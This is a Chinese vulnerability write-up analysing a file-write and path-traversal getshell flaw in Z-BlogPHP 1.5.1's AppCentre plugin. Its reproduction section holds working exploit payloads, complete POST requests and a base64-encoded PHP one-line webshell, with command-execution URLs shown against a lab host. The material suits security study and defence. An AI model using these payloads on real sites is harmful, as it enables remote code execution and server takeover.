前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >有一种内涵叫Z-BlogGetShell漏洞分析

有一种内涵叫Z-BlogGetShell漏洞分析

作者头像
漏斗社区
发布2018-05-15 14:45:15
1.8K0
发布2018-05-15 14:45:15
举报
文章被收录于专栏:漏斗社区漏斗社区

0x00 背景

看了Hiwin师傅发的《Z-Blog两处Getshell分析(附EXP)(CVE-2018-8893、CVE-2018-9169、CVE-2018-9153)》的文章,我也分析了下GetShell的方法,漏洞的利用和Hiwin师傅的不大一样https://xz.aliyun.com/t/2277,欢迎讨论交流。

0x01 GetShell漏洞的分析

0x00 相关环境

源码信息:Z-BlogPHP_1_5_1_Zero 问题文件:\zb_users\plugin\AppCentre\plugin_edit.php 漏洞类型:文件写入导致代码执行 站点地址:https://www.zblogcn.com/

0x01 漏洞分析

在文件\zb_users\plugin\AppCentre\plugin_edit.php的第47行-68行中发现如下代码块,仔细分析该代码块可以知道,两处的file_put_contents($path, $file);文件名和文件内容都是用户可以控制的。

首先是在第57-61行中,先读取tpl/main.html文件中的内容,然后将<%appid%>替换为$app->id的值,然后通过POST请求得到要写入的文件路径名称,再进行file_put_contents操作。

然后第63-67行中也差不多,只是写入的文件是固定为include.php文件。

反向跟踪下$app->id在该文件的第50行中,要求传入的值开头需要以字母数字和下划线组成,长度为3-30字符。

因此只需要前面三个字符满足要求后面的字符可以直接为PHP代码,这样就可以将PHP代码写入到目标文件中了。

接下来要查看下zb_users/plugin/AppCentre/tpl/main.html和zb_users/plugin/AppCentre/tpl/include.html文件中存在<%appid%>的位置,然后根据代码情况写入PHP代码。 zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置。

zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置。

首先看第一处zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置这个位置因为有2处的写入点,且两处的闭合规则是不一致的,所以可以使用?>的方式闭合前一个位置,这样后面的内容包括后一个位置都是作为普通文本了。这里经过测试在windows下,windows下file_put_contents中的路径位置如果有?,*,null的话便会报错,无法写入文件。

看第二处zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置有5处,其中第1,2处与其余3处的闭合方式是不同的。且 如果不定义RegisterPlugin 这个方法就会报错,但是定义了这个方法,因为写入位置有4处,其中三处都会定义这个方法,又提示Cannot redeclare RegisterPlugin(),因此在不引入?>或/*的情况下实在想不出构造的方法。

因此这个文件写入导致GetShell,经过测试仅得到了可以在Linux下利用的方式。windows下的利用方式期待有师傅能一起交流。

0x02 漏洞复现

构造模板文件zb_users/plugin/AppCentre/tpl/main.html利用方式的paylod: balabal')){}$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f);?>

因为\zb_users\plugin\AppCentre\plugin_edit.php文件中的60行中存在目录跳转的漏洞。

所以可以使用../进行目录跳转然后将写入的文件替换zb_users/plugin/Totoro/main.php文件,进行如下请求写入恶意代码,然后进行替换zb_users/plugin/Totoro/main.php文件。

代码语言:javascript
复制
POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
Host: 192.168.112.136
Content-Length: 548
Cache-Control: max-age=0
Origin: http://192.168.112.136
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.phpaaa
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22zblog%22%7D; timezone=8
Connection: close

app_id=balabal')){}$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3b%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=../Totoro/main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

当管理员访问 评论管理->Totoro设置的时候(http://192.168.112.136/zb_users/plugin/Totoro/main.php)的时候便会触发脚本生成evil.php的恶意文件。

手动连接一句话便可以执行命令http://192.168.112.136/zb_users/plugin/Totoro/evil.php?func=assert&cmd=system(%27ls%27)

构造模板文件zb_users/plugin/AppCentre/tpl/include.html利用方式的paylod:

代码语言:javascript
复制
12a(){};function RegisterPlugin(){};$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f)?>

进行如下请求便会将代码写入到include.php文件中。

代码语言:javascript
复制
POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
Host: 192.168.112.136
Content-Length: 563
Cache-Control: max-age=0
Origin: http://192.168.112.136
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22zblog%22%7D; timezone=8
Connection: close

app_id=12a(){}%3bfunction+RegisterPlugin(){}%3b$f%3dfopen('evil.php','a')%3bfwrite($
f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

然后访问http://192.168.112.136/zb_users/plugin/12a%28%29%7B%7D%3Bfunction%20RegisterPlugin%28%29%7B%7D%3B%24f%3Dfopen%28%27evil.php%27%2C%27a%27%29%3Bfwrite%28%24f%2Cbase64_decode%28%27PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b%27%29%29%3Bfclose%28%24f%29%3F%3E/include.php需要对文件名进行url编码。访问结束后会生成一个evil.php且文件的内容为一句话木马。

请求evil.php并连接一句话。http://192.168.112.136/zb_users/plugin/12a%28%29%7B%7D%3Bfunction%20RegisterPlugin%28%29%7B%7D%3B%24f%3Dfopen%28%27evil.php%27%2C%27a%27%29%3Bfwrite%28%24f%2Cbase64_decode%28%27PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b%27%29%29%3Bfclose%28%24f%29%3F%3E/evil.php?func=assert&cmd=system('ifconfig')

以上这两种利用方式都需要与csrf结合,而Hiwin师傅利用的方式是与csrf,XSS进行利用从而GetShell。详细内容参见https://xz.aliyun.com/t/2277

0x02 小结

本篇以z-blog源码进行审计和漏洞分析,其中windows下的GetShell方法暂时没整出来,windows限制太多了(师傅们如果有好思路期待一起讨论),但是Linux是可以与CSRF漏洞结合利用,便可以成功GetShell,本篇的一些利用方式与Hiwin师傅的不大一样,膜一波Hiwin师傅的思路,很棒的;-) 期待师傅们一起交流讨论,但是如果是hc请走开勿扰,交流学习可联系我thinking_balabala@163.com。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-04-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏斗社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档